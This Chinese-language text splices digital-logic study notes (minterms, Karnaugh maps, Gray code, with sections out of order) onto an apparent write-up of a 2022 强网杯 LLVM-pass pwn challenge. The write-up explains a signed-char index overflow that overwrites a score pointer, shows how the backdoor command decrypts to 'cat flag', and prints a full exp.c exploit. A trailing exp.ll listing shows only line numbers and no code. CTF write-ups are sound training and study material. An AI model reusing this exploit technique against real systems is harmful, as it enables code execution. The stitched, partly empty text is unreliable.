  1. 标准与-或表达式:由一系列最小项或构成的逻辑表达式,也称为最小项表达式。
    最小项:如果一个具有n个变量的函数的与项包含全部n个变量,每一个变量都以原变量或反变量的形式出现且仅出现1次,则该与项称为最小项。
    使用mi表示最小项,下标取值规则:按照变量顺序将原变量以1表示,反变量以0表示得到的二进制数。
    最小项性质:
    (1) 任意一个最小项相应变量有且仅有一种取值使其值为1
    (2) 相同变量构成的最小项相与均为0
    (3) 所有最小项相或为1
    (4) n个变量构成的最小项有n个相邻最小项(仅有一个变量的原反形式不同)。
  2. 标准或-与表达式:由一系列最大项与构成的逻辑表达式,也称为最大项表达式。
    最大项:如果一个具有n个变量的函数的或项包含全部n个变量,每一个变量都以原变量或反变量的形式出现且仅出现1次,则该或项称为最大项。
    使用Mi表示最大项,下标取值规则与最小项相反:按照变量顺序将原变量以0表示,反变量以1表示得到的二进制数。
    最大项性质:
    (1) 任意一个最大项相应变量有且仅有一种取值使其值为0
    (2) 相同变量构成的最大项相或均为1
    (3) 所有最大项相与为0
    (4) n个变量构成的最大项有n个相邻最大项(仅有一个变量的原反形式不同)。

最小项与最大项的关系:mi=Mi\overline {m_i}=M_i

2.3.3 任意逻辑函数表达式转换为标准表达式

代数转换法、真值表转换法

  1. 代数转换法:先转换后扩展
  2. 真值表转换法:列表直接写

2.4 逻辑函数化简

2.4.1 代数化简

没有固定步骤可以遵循。
最简与或表达式条件:

  1. 表达式中与项最少
  2. 每一个与项的变量个数最少
    与或表达式化简常用方法:并项、吸收、消去、配项
    或与表达式化简常用方法:两次对偶法(或与对偶成与或,化简与或后对偶成最简或与)

2.4.2 卡诺图化简

可从图形上直观找出相邻最小项合并(使用卡诺圈)
求逻辑函数最简与或表达式的一般步骤:

  • 画出函数卡诺图
  • 圈出函数的全部质蕴含项
  • 找出所有必要质蕴含项
  • 求最简质蕴含项集

(质蕴含项:不是其他与项子集的与项)
卡诺图化简原则:

  1. 覆盖函数中所有最小项的前提下,卡诺圈的个数应达到最少
  2. 满足合并规律的前提下卡诺圈达到最大
  3. 根据合并需要,每个最小项可以被多个卡诺圈包围。

求最简或与表达式一般步骤:

  • 做出卡诺图,求出反函数的最简与或表达式(0格)
  • 对反函数的最简与或表达式取反即得到原函数的最简或与表达式

1.1 基本概念

数字信号:在时间和数值上离散变化的信号。
数字逻辑电路:用于处理数字信号的电路,通过逻辑运算、判断来实现。
特点:

  • 是二值信号
  • 半导体期间处于开或关状态
  • 结构简单、功耗低、便于集成
  • 速度快、精度高、功能强、可靠性好

分类:

  • 根据是否具有记忆功能分为数字逻辑电路和组合逻辑电路
  • 时序逻辑电路:逻辑电路在任何时刻的稳定输出不仅取决于该时刻的输入,还与过去的输入有关
  • 同步与异步

研究方法:逻辑分析与逻辑设计

1.2 数制与转换

小数转换:乘n取整法

1.3 带符号二进制数的代码表示

原码:符号位0为正,1为负,其他不变
反码:符号位0为正,1为负,负数的其他位均取反
补码:正数与原码相同,负数为反码加1

1.4 几种常用编码

1.4.1

8421码
2421码
余3码

1.4.2 可靠性编码

  1. 格雷码:任意两个相邻的数,其格雷码仅有1位不同。
    二进制转格雷码方法:最高位不变,格雷码第i位为原二进制码第i位和第i+1位异或得到。
    格雷码转二进制码方法:从高位向低位依次转换,二进制最高位即为格雷码最高位,往下第i位为格雷码第i位与第i+1位异或得到。
  2. 奇偶校验码:检验信息位中 “1” 的个数,对于奇校验,如果1的个数为奇数则校验位为0,偶校验则是1的个数为偶数时校验位为0。(别搞反了!)

今天是2022强网杯比赛,笔者能力有限,仅做出来这道题。
2022强网杯的所有pwn附件已经上传至github,请读者自行取用。

这是一道llvm pass pwn题,有了前面几道题的分析做铺垫,这道题就不算太难了。有趣的是,这道题的出题人就是笔者之前写llvm pass pwn分析文章时参考的主要文章的作者。

Step 1: 找到runOnFunction函数

runOnFunction函数一定在虚函数表的最后被引用,因此我们只要找到虚函数表就能找到runOnFunction的覆写函数:

Step 2: 分析runOnfunction函数

Segment 1


这一段主要是触发循环迭代,可以看到runOnFunction函数只会对函数名为gamestart的函数进行处理。在下面有一个getOpcode函数的调用,这是在遍历函数的指令,获取每一条指令的指令码。通过查询Instructions.def文件可知55表示的是call的指令码,即调用函数的指令码。

Segment 2


这里的getNumOperands函数我们之前说过,其如果传入的是一个call类型的指令对象,那么返回的应该是被调用函数的参数个数+1,因此这里表示fight函数只能有1个参数。看上去出题人想模拟一个游戏,fight传入的参数就是weapon_list的索引,在这里会从weapon_list中取出对应索引的值作为weapon的"攻击力",然后和boss比较,如果大于等于boss则判定为赢,并赋值给相应的分数;否则判定为输,对分数没有影响。如果分数大于0x12345678就会执行后门函数。后门函数执行system(cmd),但是初始化的cmd是一段乱码,需要我们对cmd的8个字节做出一些处理。

Segment 3


这里的三个函数分别为merge、destroy、upgrade,融合(将一个weapon的“攻击力”加上另一个weapon的“攻击力”)、销毁(将一个weapon的“攻击力”清零)、升级(将所有weapon的“攻击力”加上一个值)。

Segment 4


然后是上面的这4个函数名。看上去像是拼音。笔者还特地查了一下这些都是什么梗,查了之后发现全都是原神的梗,看来出题人还是一位原神玩家(笑)。我们可以看到这4个函数都会对cmd的8个字节进行一些处理,不过是统一异或、加减ASCII码。看上去像是一种加密方式,需要我们对这4中操作进行合理排序以获得真正想要执行的命令。

Segment 5


如果被调用的函数的函数名不是上面的任何一个,那么这里会使用到一个map变量。首先会遍历map查找是否有以这个函数名为key的value。如果有就会在weapon_list的特定位置赋值为value。这里weapon的特定位置与遍历的顺序有关。这个key在第几次循环中被遍历到,那么就会在weapon_list的第几的位置赋值。


如果在map中没有找到这个key值,那么就会向map中插入这个key值,将对应的value设置为第二个参数的值。

这段代码具有至关重要的作用,因为只有这里能够产生溢出。不知道细心的读者有没有发现,为weaponlist赋值的索引v33是一个char类型变量,是一个有符号数。而存放score的地址正好就在weaponlist上面。如果map中的key值足够多,那么多次遍历后,v33就有可能变成一个负数,影响到score的值。



至此,我们已经知道应该如何恶意修改score的值了。需要注意的是,map的遍历顺序是由value的大小决定的。本题中这里的map的key是字符串类型,因此其遍历顺序就是:字符串小的先遍历到,字符串大的后遍历到。遍历顺序对于我们正确写入score至关重要,这也要求我们设计好调用其他函数的函数名,不能随便起名。

Step 3: 解密

现在我们已经能够执行到后门了,但是后门的cmd指令原本是8个字节的乱码。下面来分析一下应该如何解密。


上面就是初始化的cmd,共8个字节。我们能够对cmd进行的操作只有两个逐字节异或、一个逐字节加和一个减。因此字节与字节之间并没有关系,明文中相同字母最终会被加密为相同的密文。基于这个特性我们发现,在密文中有两个0x68,位于第2和第7个字节。合理猜测一下,明文极有可能是"cat flag"。即0x68是由0x61(‘a’)加密而来。

下面我们来分析一下,如何才能通过4种操作解密。需要注意的是,明文中的所有字符的最高位都为0,但是密文中的第1和第6个字节的高位是9,说明最高1比特为1。两个异或(一个0x14,一个0x7F)都不会改变最高比特的值,那么最高比特从0变成1,有可能是从正数被减成了负数。

我们尝试将所有明文字节都与0x14和0x7F异或一次,发现第1个字节’c’和第6个字节’l’异或的结果比其他字母异或的结果都要小,且小于9。因此如果将此时的所有字节全部减9就可以得到第1个字节和第6个字节的最高比特1。

然后我们再一次进行异或尝试,笔者的运气还算不错,没有尝试多长时间就试出来了。读者可以尝试采用爆破的方式解密,不过笔者没有尝试过,不知道是否可以爆破出来。

解密的算法是:加2、异或0x14、异或0x7F、减9、加18、异或0x14、异或0x7F。

Step 4: 编写exp

首先为了能够解密cmd,我们需要按照上一个步骤的顺序调用原神梗那4个函数,解密完毕后,我们需要定义256个函数,这256个函数的函数名依次递增,且都有1个int类型的参数。在gamestart函数中依次调用这256个函数1次,然后再一次调用其中几个特定的函数来修改score。(注意score保存的是地址不是score的真实值,需要修改成一个有效地址才行)

exp.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
void fight(int weapon){return;}
void merge(int weapon1, int weapon2){return;}
void destroy(int weapon){return;}
void upgrade(int val){return;}
void wuxiangdeyidao(){return;}
void zhanjinniuza(){return;}
void guobapenhuo(){return;}
void tiandongwanxiang(){return;}
void other000(int unknown){return;}
void other001(int unknown){return;}
void other002(int unknown){return;}
void other003(int unknown){return;}
void other004(int unknown){return;}
void other005(int unknown){return;}
void other006(int unknown){return;}
void other007(int unknown){return;}
void other008(int unknown){return;}
void other009(int unknown){return;}
void other010(int unknown){return;}
void other011(int unknown){return;}
void other012(int unknown){return;}
void other013(int unknown){return;}
void other014(int unknown){return;}
void other015(int unknown){return;}
void other016(int unknown){return;}
void other017(int unknown){return;}
void other018(int unknown){return;}
void other019(int unknown){return;}
void other020(int unknown){return;}
void other021(int unknown){return;}
void other022(int unknown){return;}
void other023(int unknown){return;}
void other024(int unknown){return;}
void other025(int unknown){return;}
void other026(int unknown){return;}
void other027(int unknown){return;}
void other028(int unknown){return;}
void other029(int unknown){return;}
void other030(int unknown){return;}
void other031(int unknown){return;}
void other032(int unknown){return;}
void other033(int unknown){return;}
void other034(int unknown){return;}
void other035(int unknown){return;}
void other036(int unknown){return;}
void other037(int unknown){return;}
void other038(int unknown){return;}
void other039(int unknown){return;}
void other040(int unknown){return;}
void other041(int unknown){return;}
void other042(int unknown){return;}
void other043(int unknown){return;}
void other044(int unknown){return;}
void other045(int unknown){return;}
void other046(int unknown){return;}
void other047(int unknown){return;}
void other048(int unknown){return;}
void other049(int unknown){return;}
void other050(int unknown){return;}
void other051(int unknown){return;}
void other052(int unknown){return;}
void other053(int unknown){return;}
void other054(int unknown){return;}
void other055(int unknown){return;}
void other056(int unknown){return;}
void other057(int unknown){return;}
void other058(int unknown){return;}
void other059(int unknown){return;}
void other060(int unknown){return;}
void other061(int unknown){return;}
void other062(int unknown){return;}
void other063(int unknown){return;}
void other064(int unknown){return;}
void other065(int unknown){return;}
void other066(int unknown){return;}
void other067(int unknown){return;}
void other068(int unknown){return;}
void other069(int unknown){return;}
void other070(int unknown){return;}
void other071(int unknown){return;}
void other072(int unknown){return;}
void other073(int unknown){return;}
void other074(int unknown){return;}
void other075(int unknown){return;}
void other076(int unknown){return;}
void other077(int unknown){return;}
void other078(int unknown){return;}
void other079(int unknown){return;}
void other080(int unknown){return;}
void other081(int unknown){return;}
void other082(int unknown){return;}
void other083(int unknown){return;}
void other084(int unknown){return;}
void other085(int unknown){return;}
void other086(int unknown){return;}
void other087(int unknown){return;}
void other088(int unknown){return;}
void other089(int unknown){return;}
void other090(int unknown){return;}
void other091(int unknown){return;}
void other092(int unknown){return;}
void other093(int unknown){return;}
void other094(int unknown){return;}
void other095(int unknown){return;}
void other096(int unknown){return;}
void other097(int unknown){return;}
void other098(int unknown){return;}
void other099(int unknown){return;}
void other100(int unknown){return;}
void other101(int unknown){return;}
void other102(int unknown){return;}
void other103(int unknown){return;}
void other104(int unknown){return;}
void other105(int unknown){return;}
void other106(int unknown){return;}
void other107(int unknown){return;}
void other108(int unknown){return;}
void other109(int unknown){return;}
void other110(int unknown){return;}
void other111(int unknown){return;}
void other112(int unknown){return;}
void other113(int unknown){return;}
void other114(int unknown){return;}
void other115(int unknown){return;}
void other116(int unknown){return;}
void other117(int unknown){return;}
void other118(int unknown){return;}
void other119(int unknown){return;}
void other120(int unknown){return;}
void other121(int unknown){return;}
void other122(int unknown){return;}
void other123(int unknown){return;}
void other124(int unknown){return;}
void other125(int unknown){return;}
void other126(int unknown){return;}
void other127(int unknown){return;}
void other128(int unknown){return;}
void other129(int unknown){return;}
void other130(int unknown){return;}
void other131(int unknown){return;}
void other132(int unknown){return;}
void other133(int unknown){return;}
void other134(int unknown){return;}
void other135(int unknown){return;}
void other136(int unknown){return;}
void other137(int unknown){return;}
void other138(int unknown){return;}
void other139(int unknown){return;}
void other140(int unknown){return;}
void other141(int unknown){return;}
void other142(int unknown){return;}
void other143(int unknown){return;}
void other144(int unknown){return;}
void other145(int unknown){return;}
void other146(int unknown){return;}
void other147(int unknown){return;}
void other148(int unknown){return;}
void other149(int unknown){return;}
void other150(int unknown){return;}
void other151(int unknown){return;}
void other152(int unknown){return;}
void other153(int unknown){return;}
void other154(int unknown){return;}
void other155(int unknown){return;}
void other156(int unknown){return;}
void other157(int unknown){return;}
void other158(int unknown){return;}
void other159(int unknown){return;}
void other160(int unknown){return;}
void other161(int unknown){return;}
void other162(int unknown){return;}
void other163(int unknown){return;}
void other164(int unknown){return;}
void other165(int unknown){return;}
void other166(int unknown){return;}
void other167(int unknown){return;}
void other168(int unknown){return;}
void other169(int unknown){return;}
void other170(int unknown){return;}
void other171(int unknown){return;}
void other172(int unknown){return;}
void other173(int unknown){return;}
void other174(int unknown){return;}
void other175(int unknown){return;}
void other176(int unknown){return;}
void other177(int unknown){return;}
void other178(int unknown){return;}
void other179(int unknown){return;}
void other180(int unknown){return;}
void other181(int unknown){return;}
void other182(int unknown){return;}
void other183(int unknown){return;}
void other184(int unknown){return;}
void other185(int unknown){return;}
void other186(int unknown){return;}
void other187(int unknown){return;}
void other188(int unknown){return;}
void other189(int unknown){return;}
void other190(int unknown){return;}
void other191(int unknown){return;}
void other192(int unknown){return;}
void other193(int unknown){return;}
void other194(int unknown){return;}
void other195(int unknown){return;}
void other196(int unknown){return;}
void other197(int unknown){return;}
void other198(int unknown){return;}
void other199(int unknown){return;}
void other200(int unknown){return;}
void other201(int unknown){return;}
void other202(int unknown){return;}
void other203(int unknown){return;}
void other204(int unknown){return;}
void other205(int unknown){return;}
void other206(int unknown){return;}
void other207(int unknown){return;}
void other208(int unknown){return;}
void other209(int unknown){return;}
void other210(int unknown){return;}
void other211(int unknown){return;}
void other212(int unknown){return;}
void other213(int unknown){return;}
void other214(int unknown){return;}
void other215(int unknown){return;}
void other216(int unknown){return;}
void other217(int unknown){return;}
void other218(int unknown){return;}
void other219(int unknown){return;}
void other220(int unknown){return;}
void other221(int unknown){return;}
void other222(int unknown){return;}
void other223(int unknown){return;}
void other224(int unknown){return;}
void other225(int unknown){return;}
void other226(int unknown){return;}
void other227(int unknown){return;}
void other228(int unknown){return;}
void other229(int unknown){return;}
void other230(int unknown){return;}
void other231(int unknown){return;}
void other232(int unknown){return;}
void other233(int unknown){return;}
void other234(int unknown){return;}
void other235(int unknown){return;}
void other236(int unknown){return;}
void other237(int unknown){return;}
void other238(int unknown){return;}
void other239(int unknown){return;}
void other240(int unknown){return;}
void other241(int unknown){return;}
void other242(int unknown){return;}
void other243(int unknown){return;}
void other244(int unknown){return;}
void other245(int unknown){return;}
void other246(int unknown){return;}
void other247(int unknown){return;}
void other248(int unknown){return;}
void other249(int unknown){return;}
void other250(int unknown){return;}
void other251(int unknown){return;}
void other252(int unknown){return;}
void other253(int unknown){return;}
void other254(int unknown){return;}
void other255(int unknown){return;}

void gamestart(){
tiandongwanxiang();
wuxiangdeyidao();
zhanjinniuza();
guobapenhuo();
tiandongwanxiang();
tiandongwanxiang();
tiandongwanxiang();
tiandongwanxiang();
tiandongwanxiang();
tiandongwanxiang();
tiandongwanxiang();
tiandongwanxiang();
tiandongwanxiang();
wuxiangdeyidao();
zhanjinniuza();

other000(233);
other001(233);
other002(233);
other003(233);
other004(233);
other005(233);
other006(233);
other007(233);
other008(233);
other009(233);
other010(233);
other011(233);
other012(233);
other013(233);
other014(233);
other015(233);
other016(233);
other017(233);
other018(233);
other019(233);
other020(233);
other021(233);
other022(233);
other023(233);
other024(233);
other025(233);
other026(233);
other027(233);
other028(233);
other029(233);
other030(233);
other031(233);
other032(233);
other033(233);
other034(233);
other035(233);
other036(233);
other037(233);
other038(233);
other039(233);
other040(233);
other041(233);
other042(233);
other043(233);
other044(233);
other045(233);
other046(233);
other047(233);
other048(233);
other049(233);
other050(233);
other051(233);
other052(233);
other053(233);
other054(233);
other055(233);
other056(233);
other057(233);
other058(233);
other059(233);
other060(233);
other061(233);
other062(233);
other063(233);
other064(233);
other065(233);
other066(233);
other067(233);
other068(233);
other069(233);
other070(233);
other071(233);
other072(233);
other073(233);
other074(233);
other075(233);
other076(233);
other077(233);
other078(233);
other079(233);
other080(233);
other081(233);
other082(233);
other083(233);
other084(233);
other085(233);
other086(233);
other087(233);
other088(233);
other089(233);
other090(233);
other091(233);
other092(233);
other093(233);
other094(233);
other095(233);
other096(233);
other097(233);
other098(233);
other099(233);
other100(233);
other101(233);
other102(233);
other103(233);
other104(233);
other105(233);
other106(233);
other107(233);
other108(233);
other109(233);
other110(233);
other111(233);
other112(233);
other113(233);
other114(233);
other115(233);
other116(233);
other117(233);
other118(233);
other119(233);
other120(233);
other121(233);
other122(233);
other123(233);
other124(233);
other125(233);
other126(233);
other127(233);
other128(233);
other129(233);
other130(233);
other131(233);
other132(233);
other133(233);
other134(233);
other135(233);
other136(233);
other137(233);
other138(233);
other139(233);
other140(233);
other141(233);
other142(233);
other143(233);
other144(233);
other145(233);
other146(233);
other147(233);
other148(233);
other149(233);
other150(233);
other151(233);
other152(233);
other153(233);
other154(233);
other155(233);
other156(233);
other157(233);
other158(233);
other159(233);
other160(233);
other161(233);
other162(233);
other163(233);
other164(233);
other165(233);
other166(233);
other167(233);
other168(233);
other169(233);
other170(233);
other171(233);
other172(233);
other173(233);
other174(233);
other175(233);
other176(233);
other177(233);
other178(233);
other179(233);
other180(233);
other181(233);
other182(233);
other183(233);
other184(233);
other185(233);
other186(233);
other187(233);
other188(233);
other189(233);
other190(233);
other191(233);
other192(233);
other193(233);
other194(233);
other195(233);
other196(233);
other197(233);
other198(233);
other199(233);
other200(233);
other201(233);
other202(233);
other203(233);
other204(233);
other205(233);
other206(233);
other207(233);
other208(233);
other209(233);
other210(233);
other211(233);
other212(233);
other213(233);
other214(233);
other215(233);
other216(233);
other217(233);
other218(233);
other219(233);
other220(233);
other221(233);
other222(233);
other223(233);
other224(233);
other225(233);
other226(233);
other227(233);
other228(233);
other229(233);
other230(233);
other231(233);
other232(233);
other233(233);
other234(233);
other235(233);
other236(233);
other237(233);
other238(233);
other239(233);
other240(0);
other241(0);
other242(0x40);
other243(0);
other244(233);
other245(233);
other246(233);
other247(233);
other248(233);
other249(233);
other250(233);
other251(233);
other252(233);
other253(233);
other254(233);
other255(233);

other243(0);
other242(0);
other241(0);
other240(0);

upgrade(0xFF);
fight(0);
}

exp.ll:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
1654
1655
1656
1657
1658
1659
1660
1661
1662
1663
1664
1665
1666
1667
1668
1669
1670
1671
1672
1673
1674
1675
1676
1677
1678
1679
1680
1681
1682
1683
1684
1685
1686
1687
1688
1689
1690
1691
1692
1693
1694
1695
1696
1697
1698
1699
1700
1701
1702
1703
1704
1705
1706
1707
1708
1709
1710
1711
1712
1713
1714
1715
1716
1717
1718
1719
1720
1721
1722
1723
1724
1725
1726
1727
1728
1729
1730
1731
1732
1733
1734
1735
1736
1737
1738
1739
1740
1741
1742
1743
1744
1745
1746
1747
1748
1749
1750
1751
1752
1753
1754
1755
1756
1757
1758
1759
1760
1761
1762
1763
1764
1765
1766
1767
1768
1769
1770
1771
1772
1773
1774
1775
1776
1777
1778
1779
1780
1781
1782
1783
1784
1785
1786
1787
1788
1789
1790
1791
1792
1793
1794
1795
1796
1797
1798
1799
1800
1801
1802
1803
1804
1805
1806
1807
1808
1809
1810
1811
1812
1813
1814
1815
1816
1817
1818
1819
1820
1821
1822
1823
1824
1825
1826
1827
1828
1829
1830
1831
1832
1833
1834
1835
1836
1837
1838
1839
1840
1841
1842
1843
1844
1845
1846
1847
1848
1849
1850
1851
1852
1853
1854
1855
1856
1857
1858
1859
1860
1861
1862
1863
1864
1865
1866
1867
1868
1869
1870
1871
1872
1873
1874
1875
1876
1877
1878
1879
1880
1881
1882
1883
1884
1885
1886
1887
1888
1889
1890
1891
1892
1893
1894
1895
1896
1897
1898
1899
1900
1901
1902
1903
1904
1905
1906
1907
1908
1909
1910
1911
1912
1913
1914
1915
1916
1917
1918
1919
1920
1921
1922
1923
1924
1925
1926
1927
1928
1929
1930
